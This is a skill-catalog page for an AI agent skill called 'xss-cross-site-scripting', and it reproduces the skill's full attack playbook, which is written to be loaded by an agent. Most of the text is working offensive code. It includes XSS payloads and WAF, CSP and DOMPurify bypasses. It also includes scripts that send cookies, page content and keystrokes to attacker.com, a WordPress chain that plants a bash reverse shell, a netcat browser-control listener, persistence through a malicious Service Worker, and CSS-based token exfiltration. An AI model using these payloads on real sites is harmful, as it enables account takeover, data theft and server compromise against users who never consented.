
Xss Cross Site Scripting
- 2.5k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
xss-cross-site-scripting is an agent skill that >-.
About
SKILL Cross Site Scripting XSS Expert Attack Playbook AI LOAD INSTRUCTION This skill covers non obvious XSS techniques context specific payload selection WAF bypass CSP bypass and post exploitation Assume the reader already knows script alert 1 script this file only covers what base models typically miss For real world CVE cases HttpOnly bypass strategies XS Leaks side channels and session fixation attacks load the companion SCENARIOS md SCENARIOS md Also load SCENARIOS md SCENARIOS md when you need Django debug page XSS CVE 2017 12794 duplicate key error unescaped exception XSS UTF 7 XSS for legacy IE environments ADw script AD4 HttpOnly bypass methodology proxy the browser session riding CSRF via XSS XS Leaks side channel attacks timing oracle cache probing performance now measurement Session fixation via XSS pre set session ID before victim login DOM clobbering techniques for CSP restricted environments Also load ADVANCED_XSS_TRICKS md ADVANCED_XSS_TRICKS md when you need mXSS DOMPurify bypass namespace confusion noscript parsing differential form table restructuring DOM Clobbering property override via id name
- XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-contex
- > **AI LOAD INSTRUCTION**: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass,
- Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- Follow xss-cross-site-scripting SKILL.md steps and documented constraints.
- Follow xss-cross-site-scripting SKILL.md steps and documented constraints.
Xss Cross Site Scripting by the numbers
- 2,484 all-time installs (skills.sh)
- +164 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #355 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
xss-cross-site-scripting capabilities & compatibility
- Capabilities
- xss playbook. use when user controlled content r · > **ai load instruction**: this skill covers non · also load [scenarios.md](./scenarios.md) when yo · follow xss cross site scripting skill.md steps a
- Use cases
- orchestration
What xss-cross-site-scripting says it does
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
> **AI LOAD INSTRUCTION**: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows `<script>ale
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
npx skills add https://github.com/yaklang/hack-skills --skill xss-cross-site-scriptingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.5k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 0 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
When should an agent use xss-cross-site-scripting and what problem does it solve?
>-
Who is it for?
Developers invoking xss-cross-site-scripting as documented in the skill source.
Skip if: Skip when requirements fall outside xss-cross-site-scripting documented scope.
When should I use this skill?
>-
What you get
Outputs aligned with the xss-cross-site-scripting SKILL.md workflow and stated deliverables.
- XSS test payloads
- Sanitizer bypass patterns
- Security test case references
By the numbers
- Covers mXSS, DOMPurify bypasses, DOM clobbering, Trusted Types evasions, and Service Worker persistence as distinct tech
Files
SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook
AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows <script>alert(1)</script> — this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.0. RELATED ROUTING
Extended Scenarios
Also load SCENARIOS.md when you need:
- Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
- UTF-7 XSS for legacy IE environments (
+ADw-script+AD4-) - HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
- XS-Leaks side channel attacks — timing oracle, cache probing,
performance.now()measurement - Session fixation via XSS — pre-set session ID before victim login
- DOM clobbering techniques for CSP-restricted environments
Advanced Tricks
Also load ADVANCED_XSS_TRICKS.md when you need:
- mXSS / DOMPurify bypass — namespace confusion,
<noscript>parsing differential, form/table restructuring - DOM Clobbering — property override via
id/name, HTMLCollection, deep property chains - Modern framework XSS — React
dangerouslySetInnerHTML, Vuev-html, AngularbypassSecurityTrust*, Next.js SSR - Trusted Types bypass — default policy abuse, non-TT sinks, policy passthrough
- Service Worker XSS persistence — malicious SW registration, fetch interception, post-patch survival
- PDF/SVG/MathML XSS vectors, polyglot payloads, browser-specific tricks
- XS-Leaks & side channels — timing oracle, frame counting, cache probing, error event oracle
Before broad payload spraying, you can first load:
- upload insecure files when you need the full upload path: validation, storage, preview, and sharing behavior
Quick context picks
| Context | First Pick | Backup |
|---|---|---|
| HTML body | <svg onload=alert(1)> | <img src=1 onerror=alert(1)> |
| Quoted attribute | " autofocus onfocus=alert(1)// | " onmouseover=alert(1)// |
| JavaScript string | '-alert(1)-' | '</script><svg onload=alert(1)> |
| URL / href sink | javascript:alert(1) | data:text/html,<svg onload=alert(1)> |
Tag body like title | </title><svg onload=alert(1)> | </textarea><svg onload=alert(1)> |
| SVG / XML sink | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> | XHTML namespace payload |
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>---
1. INJECTION CONTEXT MATRIX
Identify context before picking a payload. Wrong context = wasted attempts.
| Context | Indicator | Opener | Payload |
|---|---|---|---|
| HTML outside tag | <b>INPUT</b> | <svg onload= | <svg onload=alert(1)> |
| HTML attribute value | value="INPUT" | " close attr | "onmouseover=alert(1)// |
| Inline attr, no tag close | Quoted, > stripped | Event injection | "autofocus onfocus=alert(1)// |
| Block tag (title/script/textarea) | <title>INPUT</title> | Close tag first | </title><svg onload=alert(1)> |
| href / src / data / action | link or form | Protocol | javascript:alert(1) |
| JS string (single quote) | var x='INPUT' | Break string | '-alert(1)-' or '-alert(1)// |
| JS string with escape | Backslash escaping | Double escape | \'-alert(1)// |
| JS logical block | Inside if/function | Close + inject | '}alert(1);{' |
| JS anywhere on page | <script>...INPUT | Break script | </script><svg onload=alert(1)> |
XML page (text/xml) | XML content-type | XML namespace | <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script> |
---
2. MULTI-REFLECTION ATTACKS
When input reflects in multiple places on the same page — single payload triggers from all points:
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>---
3. ADVANCED INJECTION VECTORS
DOM Insert Injection (when reflection is in DOM not source)
Input inserted via .innerHTML, document.write, jQuery .html():
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>For URL-controlled resource insertion:
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>PHP_SELF Path Injection
When URL itself is reflected in form action:
https://target.com/page.php/"><svg onload=alert(1)>?param=valInject between .php and ?, using leading /.
File Upload XSS
Filename injection (when filename is reflected):
"><svg onload=alert(1)>.gifSVG upload (stored XSS via image upload accepting SVG):
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>Metadata injection (when EXIF is reflected):
exiftool -Artist='"><svg onload=alert(1)>' photo.jpegpostMessage XSS (no origin check)
When page has window.addEventListener('message', ...) without origin validation:
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">postMessage Origin Bypass
When origin IS checked but uses .includes() or prefix match:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>Attacker controls facebook.com.ATTACKER.com subdomain.
XML-Based XSS
Response has text/xml or application/xml:
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>Script Injection Without Closing Tag
When there IS a </script> tag later in the page:
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>---
4. CSP BYPASS TECHNIQUES
JSONP Endpoint Bypass (allow-listed domain has JSONP)
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>AngularJS CDN Bypass (allow-listed ajax.googleapis.com)
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>Angular Expressions (server encodes HTML but AngularJS evaluates)
When {{1+1}} evaluates to 2 on page — classic CSTI indicator:
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}base-uri Injection (CSP without base-uri restriction)
<base href="https://attacker.com/">Relative <script src=...> loads from attacker's server.
DOM-based via Dangling Markup
When CSP blocks script but allows img:
<img src='https://attacker.com/log?Leaks subsequent page content to attacker.
---
5. FILTER AND WAF BYPASS
Parameter Name Attack (WAF checks value not name)
When parameter names are reflected (e.g., in JSON output):
?"></script><base%20c%3D=href%3Dhttps:\mysite>Payload is the parameter name, not value.
Encoding Chains
%253C → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tagTest sequence: reflect → encoding behavior → identify filter logic → mutate.
Tag Mutation (blacklist bypass)
<ScRipt> ← case variation
</script/x> ← trailing garbage
<script ← incomplete (relies on later >)
<%00iframe ← null byte
<svg/onload= ← slash instead of spaceFragmented Injection (strip-tags bypass)
Filter strips <x>...</x>:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//Vectors Without Event Handlers
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<math><brute href=javascript:alert(1)>click---
6. SECOND-ORDER XSS
Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.
Classic trigger payload (bypasses immediate HTML encoding):
<svg/onload=alert(1)>Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.
---
7. BLIND XSS METHODOLOGY
Every parameter that is not immediately reflected should be tested for blind XSS:
- Contact forms, feedback fields
- User-agent / referer
- Registration fields
- Error log injections
Blind XSS callback payload (remote JS file approach):
"><script src=//attacker.com/bxss.js></script>Minimal collector (hosted at bxss.js):
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));Use XSS Hunter or similar blind XSS platform for automated collection.
---
8. XSS EXPLOITATION CHAIN
Cookie Steal
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation insteadKeylogger
document.onkeypress = function(e) {
fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);WordPress XSS → RCE (admin session + Hello Dolly plugin):
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }Browser Remote Control (JS command shell)
// Injected into victim:
setInterval(function(){
with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)# Attacker listener:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done---
9. DECISION TREE
Test XSS entry point
├── Input reflected in response?
│ ├── YES → Identify context (HTML / JS / attr / URL)
│ │ → Select context-appropriate payload
│ │ → If blocked → check filter behavior
│ │ │ → Try encoding, case mutation, fragmentation
│ │ │ → Check if parameter NAME is reflected (WAF gap)
│ │ └── Success → escalate (cookie steal / CSRF / RCE)
│ └── NO → Is it stored? → Inject blind XSS payload
│ Is it in DOM? → Check JS source for unsafe sinks
│ (innerHTML, eval, document.write, location.href)
└── CSP present?
├── Check for JSONP endpoints on allow-listed domains
├── Check for AngularJS on CDN allow-list
├── Check for base-uri missing → <base> injection
└── Check for unsafe-eval or unsafe-inline exceptions---
10. XSS TESTING PROCESS (ZSEANO METHOD)
1. Step 1 — Test non-malicious tags: <h2>, <img>, <table> — are they reflected raw? 2. Step 2 — Test incomplete tags: <iframe src=//attacker.com/c= (no closing >) 3. Step 3 — Encoding probes: <%00h2, %0d, %0a, %09, %253C 4. Step 4 — If filtering <script> and onerror but NOT <script (without close): <script src=//attacker.com?c= 5. Step 5 — Blacklist check: does <svg> work? Does <ScRiPt> work? 6. Note: the same filter likely exists elsewhere — if they filter <script> in search, do they filter it in file upload filename? In profile bio?
Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.
Advanced XSS Tricks — Supplementary Reference
Load trigger: When the agent needs modern framework XSS, mXSS, DOM Clobbering, Trusted Types bypass, or Service Worker persistence techniques beyond the core SKILL.md.
1. mXSS (Mutation XSS)
Browser HTML parser "fixes" markup differently than sanitizers expect, causing benign-looking HTML to mutate into executable payloads after DOM insertion.
Core Mechanism
Sanitizer parses HTML → produces safe output → browser re-parses during innerHTML assignment → mutation creates executable node.
DOMPurify Bypass Patterns
Namespace confusion (SVG/MathML → HTML back-context):
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=1 onerror=alert(1)>">Parser treats content as MathML, but browser switches to HTML integration point inside <mtext>, causing <img> to become executable.
`<noscript>` parsing differential:
<noscript><style></noscript><img src=x onerror=alert(1)>DOMPurify (scripting enabled) sees <style> consuming the rest. Browser with scripting=false context sees the <img> as a sibling.
Form/table restructuring:
<form><math><mtext></form><form><mglyph><svg><mpath><set attributeName=onmouseover to=alert(1)>Browser tree builder auto-closes first form and restructures, creating unexpected live elements.
Key Principle
Test with: sanitizer output → element.innerHTML = sanitized → inspect actual DOM. If DOM differs from sanitizer's expected tree, mutation XSS is possible.
---
2. DOM Clobbering
Override JavaScript variables/properties by injecting HTML elements with specific id or name attributes.
Basic Clobbering
<!-- Clobber window.x -->
<img id=x>
<!-- Now window.x === the <img> element -->
<!-- Clobber nested: window.x.y -->
<form id=x><img id=y></form>
<!-- window.x.y === the <img> element -->
<!-- Clobber window.x.y via <a> href (toString = href) -->
<a id=x href="javascript:alert(1)">
<!-- String(window.x) === "javascript:alert(1)" -->HTMLCollection Clobbering (array-like)
<a id=x>1</a><a id=x>2</a>
<!-- window.x is HTMLCollection [a, a] -->
<!-- window.x[0], window.x[1] accessible -->Deep Property Clobbering (3+ levels)
<form id=x name=y><input id=z></form>
<!-- document.x.y.z exists -->Exploit Patterns
If code does if (window.config) { url = window.config.url; } and config is not defined:
<a id=config href="https://attacker.com/evil.js">Code now loads attacker-controlled URL.
Defense Check
Code using typeof x !== 'undefined' or x instanceof Object can sometimes be bypassed because DOM elements are objects.
---
3. Modern Framework XSS
React
dangerouslySetInnerHTML={{__html: userInput}}— direct XSS if userInput is unsanitizedhref={userInput}on<a>—javascript:protocol not blocked by React- SSR hydration mismatch — server renders different HTML than client expects, dangling markup possible
eval()inuseEffectwith user data
Vue.js
v-html="userInput"— equivalent to innerHTML, no sanitization- Server-side template injection via
{{ }}in SSR mode v-bind:href/:hrefacceptsjavascript:URIs- Component
isattribute with user input → dynamic component injection
Angular
bypassSecurityTrustHtml()/bypassSecurityTrustUrl()— explicit trust marking- Angular Universal SSR template injection
[innerHTML]binding with bypassed sanitizer- Older Angular.js (1.x) sandbox escapes still relevant for legacy apps:
{{constructor.constructor('alert(1)')()}}
{{'a]'.constructor.prototype.charAt=[].join;$eval('x=1}alert(1)//')}}Next.js / Nuxt
getServerSidePropsreturning unsanitized data rendered withdangerouslySetInnerHTML- API routes reflecting input without encoding
_document.jscustom head injection
---
4. Trusted Types Bypass
Trusted Types enforce that DOM XSS sinks only accept typed objects, not raw strings. Bypass requires finding a policy or sink gap.
Finding Bypass Vectors
1. Default policy exists — look for trustedTypes.createPolicy('default', ...) with weak sanitization 2. Policy with passthrough — createHTML: (s) => s effectively disables protection 3. Sinks not covered by TT — document.cookie, window.name, location.href (navigation sinks) 4. `eval` type policies — if createScript is permissive 5. DOM clobbering to override policy name — clobber trustedTypes if checked loosely
Non-TT-Protected Sinks
window.name = payload; // persists across navigations
document.cookie = payload; // cookie injection
location.href = payload; // navigation-based XSS
location.hash = payload; // fragment injection
window.open(payload); // popup with javascript:Policy Abuse
// If a policy does basic tag stripping but misses event handlers:
const p = trustedTypes.createPolicy('sanitize', {
createHTML: s => s.replace(/<script>/gi, '')
});
// Bypass: <img onerror=alert(1) src=x>---
5. Service Worker XSS Persistence
Registering Malicious Service Worker
If XSS allows script execution and the scope allows SW registration:
navigator.serviceWorker.register('/sw.js', {scope: '/'})Self-Contained SW via importScripts
// If you control a JS file or can inject via upload:
self.addEventListener('fetch', e => {
if (e.request.url.includes('/target-page')) {
e.respondWith(new Response('<script>alert(document.cookie)</script>',
{headers: {'Content-Type': 'text/html'}}));
}
});Persistence Value
- SW persists after XSS payload is cleaned/patched
- Intercepts all fetch requests within scope
- Can inject into every page load until SW is unregistered
- Survives page refresh, tab close/reopen
Requirements
- HTTPS (or localhost)
- SW script must be served from same origin with valid JS content-type
- Scope restricted to SW script's directory and below
---
6. PDF/SVG/XML XSS Vectors
PDF XSS (Adobe reader in browser)
/page.pdf#a]%0d/teleType(alert(1))%0d[/aSVG Polyglot
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject>
<body xmlns="http://www.w3.org/1999/xhtml">
<script>alert(1)</script>
</body>
</foreignObject>
</svg>SVG <use> External Reference
<svg><use href="https://attacker.com/evil.svg#xss"></use></svg>MathML XSS
<math><maction actiontype="statusline#" xlink:href="javascript:alert(1)">click</maction></math>---
7. XS-Leaks & Side Channels (Advanced)
Timing-Based Detection
// Detect if user is logged in to target site
let t0 = performance.now();
fetch('https://target.com/api/me', {mode: 'no-cors'});
let t1 = performance.now();
// Authenticated responses are larger/slower → timing oracleFrame Counting
let w = window.open('https://target.com/search?q=SECRET');
setTimeout(() => {
// w.length = number of iframes in response
// Different result count → different frame count → oracle
console.log(w.length);
}, 2000);Error Event Oracle
// Image loads successfully only for authenticated users
let img = new Image();
img.onload = () => { /* user is logged in */ };
img.onerror = () => { /* user is not logged in */ };
img.src = 'https://target.com/avatar.png';Cache Probing
// Check if resource is cached (= user visited target page)
let t0 = performance.now();
fetch('https://target.com/static/logo.png', {cache: 'force-cache', mode: 'no-cors'});
let t1 = performance.now();
// Cached: fast. Not cached: slow.---
8. Polyglot XSS Payloads
Single payloads that work across multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%%0teleType%0teleType1teleType22teleType33teleType44teleType55teleType66teleType77[7teleType]teleType8teleType9teleType0teleType/teleType*'teleType"*/
</teleType>%0teleType<teleType>alert(1)</teleType>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><dETAILS/+/teleType/+=teleType/OnToggle=alert()>
'"-->]]>*/</script></style></title></textarea><!--<p class="--><img src=x onerror=alert()>">---
9. Browser-Specific Tricks
Chrome-Specific
<svg><animate onbegin=alert(1) attributeName=x dur=1s>— animation event- Blink-specific parsing in
<template>content
Firefox-Specific
<math><mrow xlink:type="simple" xlink:href="javascript:alert(1)">click</mrow></math>-moz-bindingCSS (deprecated but sometimes present in legacy)
Safari-Specific
<input onfocus=alert(1) autofocus type=search incremental=true>- WebKit-specific
<marquee>event handlers
XSS — Extended Scenarios & Real-World Cases
Companion to SKILL.md. Contains additional attack scenarios, CVE case studies, and defense bypass techniques.
---
1. CVE Case: Django Debug Page XSS (CVE-2017-12794)
Django's debug error page displays unescaped exception messages. When a UNIQUE constraint violation occurs, the duplicate value is shown raw:
Attack flow: 1. Register username: <script>alert(1)</script> 2. Attempt to register again with the same username 3. Django raises IntegrityError with the duplicate key value 4. Debug page renders: duplicate key value violates unique constraint... (<script>alert(1)</script>) 5. Script executes in the debug page context
Conditions: DEBUG=True in production (common in misconfigured deployments).
---
2. UTF-7 XSS (Legacy)
When the page does not specify charset and Internet Explorer auto-detects encoding:
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-IE interprets +ADw- as < in UTF-7 encoding. The server must not set Content-Type: text/html; charset=utf-8 for this to work.
Modern relevance: Rare, but still found in legacy intranet applications using IE compatibility mode.
---
3. HttpOnly Bypass Strategies
HttpOnly prevents document.cookie from reading the session cookie, but XSS can still:
| Technique | How It Works |
|---|---|
| Proxy the browser | XSS sends authenticated requests on behalf of victim (XMLHttpRequest/fetch with credentials) — no need to steal the cookie |
| CSRF via XSS | Read CSRF token from DOM → perform state-changing actions |
| Keylogger | Capture credentials as victim types |
| Session riding | Browse the application through injected JS, extract data from responses |
| TRACE method | Historical: TRACE reflects cookies in response body (blocked in modern servers) |
Key insight: HttpOnly does NOT prevent XSS exploitation — it only prevents cookie theft specifically. The attacker can do everything the victim can do through proxied requests.
---
4. XS-Leaks (Cross-Site Leak) Scenarios
XS-Leaks infer information about cross-origin pages without reading their content, using side channels:
Timing-Based Search Oracle
async function probe(query) {
const start = performance.now();
const img = new Image();
img.src = `https://target.com/search?q=${query}&_=${Date.now()}`;
await new Promise(r => { img.onload = img.onerror = r; });
return performance.now() - start;
}
// If search for "admin_secret" takes 200ms vs 50ms for "nonexistent"
// → "admin_secret" has results → information leakedAmplification Techniques
- Use search queries that return large result sets → measurable timing difference
- Combine with slow backend operations (regex search, DB full-scan)
- Frame counting:
window.lengthreveals iframe count on cross-origin page
Defense
Cache-Control: no-storePrevent timing oracle via cached vs uncached response times. Also: do not use predictable resource names (e.g., /users/alice/avatar.png).
---
5. Session Fixation via XSS
When the application does not regenerate session IDs after login:
Attack flow: 1. Attacker obtains a valid (unauthenticated) session ID 2. Attacker forces victim's browser to use this session ID:
https://target.com/setcookie.php?PHPSESSID=attacker_known_value3. Victim logs in — the pre-set session ID is now authenticated 4. Attacker uses the same session ID → authenticated as victim
XSS variant: inject document.cookie = "PHPSESSID=FIXED_VALUE" via stored XSS before victim logs in.
Fix: session_regenerate_id(true) after authentication.
---
6. DOM Clobbering
When CSP blocks inline scripts but allows named HTML elements:
<form id="x"><output id="y">payload</output></form>
<!-- Now document.x.y.value === "payload" -->
<!-- If app code does: element.innerHTML = document.x.y.value → XSS -->Useful when the application trusts DOM properties derived from element IDs/names.
---
7. XSS POLYGLOT PAYLOADS
// 0xsobky universal:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
// s0md3v:
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
// brutelogic:
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26LT;LT;*/prompt()//
// Polyglot for multiple contexts:
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse
over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>---
8. WAF BYPASS BY VENDOR
Cloudflare
<svg onload=prompt``>
<!-- Use onnull, onrandom (unknown event handlers pass through) -->
<img src=x onnull=alert(1)>
<!-- Entity encoding: -->
<a href="javascript:alert(1)">click</a>
<!-- Tab/newline in javascript: scheme -->
<a href="java
script:alert(1)">click</a>Akamai
</script><base href="javascript:/a]/-alert(1)//">
<dETAILS open oNtoggle=alert(1)>
<!-- Mutation: -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>Incapsula (Imperva)
<!-- jQuery-based bypass: -->
<script>$.globalEval("al"+"ert(1)")</script>
<!-- Data URI in object: -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">WordFence (WordPress)
<!-- Entity encoding javascript: -->
<a href="javascript:alert(1)">click</a>
<!-- Unicode escapes: -->
<img src=x onerror="alert(1)">Fortiweb
<!-- Unicode tag bypass: -->
\u003e\u003cscript\u003ealert(1)\u003c/script\u003e---
9. CSP BYPASS TECHNIQUES
Common CSP Bypasses
# If 'unsafe-inline' is allowed → standard XSS works
# If script-src includes CDN with JSONP:
<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//"></script>
# If script-src includes 'self' + file upload:
Upload JS file → <script src="/uploads/evil.js"></script>
# If base-uri not restricted:
<base href="https://attacker.com/">
<script src="/js/app.js"></script> <!-- Fetches from attacker.com -->
# If script-src allows data: scheme:
<script src="data:text/javascript,alert(1)"></script>
# If strict-dynamic is used without nonce:
<script>document.createElement('script').src='//evil.com/x.js'</script>DOM Clobbering for CSP Bypass
<!-- Clobber variables used by CSP-nonce scripts -->
<a id="config" href="javascript:alert(1)">
<form id="config"><input name="url" value="javascript:alert(1)"></form>
<!-- Multi-level clobbering: x.y.value -->
<a id=x><a id=x name=y href="javascript:alert(1)">
<!-- document.getElementById('x') returns HTMLCollection -->
<!-- x.y.href = "javascript:alert(1)" -->
<!-- DomPurify bypass with cid: protocol -->
<a id=x href="cid:alert(1)">
<!-- Some sanitizers allow cid: scheme -->
<!-- 3-level deep clobbering via iframe -->
<iframe name=x srcdoc="<a id=y><a id=y name=z href='javascript:alert(1)'>">
<!-- Access: x.y.z.href -->---
10. CSS INJECTION DATA EXFILTRATION
When you can inject CSS but NOT JavaScript (common with CSP style-src 'unsafe-inline'):
Attribute Selector Brute-Force
/* Extract CSRF token or input values character by character: */
input[name="csrf"][value^="a"] { background: url(https://attacker.com/?token=a); }
input[name="csrf"][value^="b"] { background: url(https://attacker.com/?token=b); }
/* ... for each character ... */
input[name="csrf"][value^="ab"] { background: url(https://attacker.com/?token=ab); }
/* Server receives callback revealing the token prefix that matched */@font-face + unicode-range Side Channel
/* Detect specific characters in text nodes: */
@font-face { font-family: probe; src: url(https://attacker.com/?char=A); unicode-range: U+0041; }
@font-face { font-family: probe; src: url(https://attacker.com/?char=B); unicode-range: U+0042; }
/* Apply to target element: */
.secret-text { font-family: probe; }
/* Browser only loads font for characters that actually appear in the text */Ligature Width Side Channel
/* Create custom font where specific character sequences have different widths */
/* Use CSS to detect element width changes → infer text content */
/* More complex but works for text nodes that attribute selectors can't reach */Sequential Import Chaining
/* @import chain for multi-round extraction: */
@import url(https://attacker.com/round1.css);
/* Server returns CSS with selectors for next character based on round 1 results */
/* Each round narrows down the token value */Related skills
How it compares
Pick this over general OWASP XSS cheat sheets when testing modern sanitizer bypasses, framework-specific sinks, and Trusted Types enforcement rather than basic injection examples.
FAQ
What is xss-cross-site-scripting?
>-
When should I use xss-cross-site-scripting?
>-
Is xss-cross-site-scripting safe to install?
Review the Security Audits panel on this page before production use.